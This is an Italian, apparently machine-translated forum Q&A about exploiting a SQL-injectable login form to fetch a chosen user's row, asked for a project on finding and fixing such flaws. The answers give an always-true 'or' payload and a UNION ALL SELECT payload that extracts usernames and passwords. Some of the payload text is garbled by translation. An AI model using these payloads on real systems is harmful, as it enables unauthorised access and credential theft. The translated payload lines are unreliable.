Come recuperare una particolare riga dal database vulnerabile a SQL Injection?

2

Quando inserisco il nome utente: qualsiasi cosa e Password: 1'or'1 '=' 1, il mio database recupera la prima riga dalla tabella MYSQL. Come posso recuperare la riga corrispondente a Username: qualcosa? Questo è per un progetto in cui ho bisogno di mostrare tutte le possibili vulnerabilità SQL e correggerle.

    
posta learner 24.10.2014 - 08:05
fonte

2 risposte

3

Fondamentalmente lo sql sarebbe simile a questo:

select * from table
where username='anything' and pw='1' or '1'='1'

Sappiamo che "e" ha la precedenza su "o" così:

 select * from table
    where (username='anything' and pw='1') or '1'='1'

Quindi se la password 'nulla' non è '1' otterrai la prima riga da '1' = '1' è sempre true

UPDATE:
Per ottenere il risultato desiderato, devi modificare il valore del nome utente e quindi la password, Non sono sicuro ma questo è quasi il valore che dovresti iniettare:
username = 'nulla ('
pw = 1 ') o' 1 '=' 1 '

    
risposta data 24.10.2014 - 08:48
fonte
0

Molto probabilmente la query sql di login dovrebbe apparire così.

select * from table
where username='user' and password='pass'

Ora il tuo obiettivo è ottenere la riga corrispondente al valore specificato come "nome utente".

Quindi, per quello basta iniettare una query UNION , meglio non essere più confusi con altri metodi.

Qui sotto va il valore del campo "username".

' UNION ALL SELECT username,password from users where username='ShihabSoft' -- 

Quindi, dopo aver iniettato l'ultima query apparirà così.

select * from users where username='' UNION ALL SELECT username,password from users where username='ShihabSoft' -- 

Quindi se vuoi ottenere la riga di un utente specificato, cambia il valore 'ShihabSoft' in qualsiasi altro nome utente.

Ed è solo per un esempio perché non hai nemmeno specificato la query nella tua domanda.Quindi il numero di colonne nella query UNION potrebbe differire in base al numero di colonne specificato nell'attuale query.

    
risposta data 25.10.2014 - 08:24
fonte

Leggi altre domande sui tag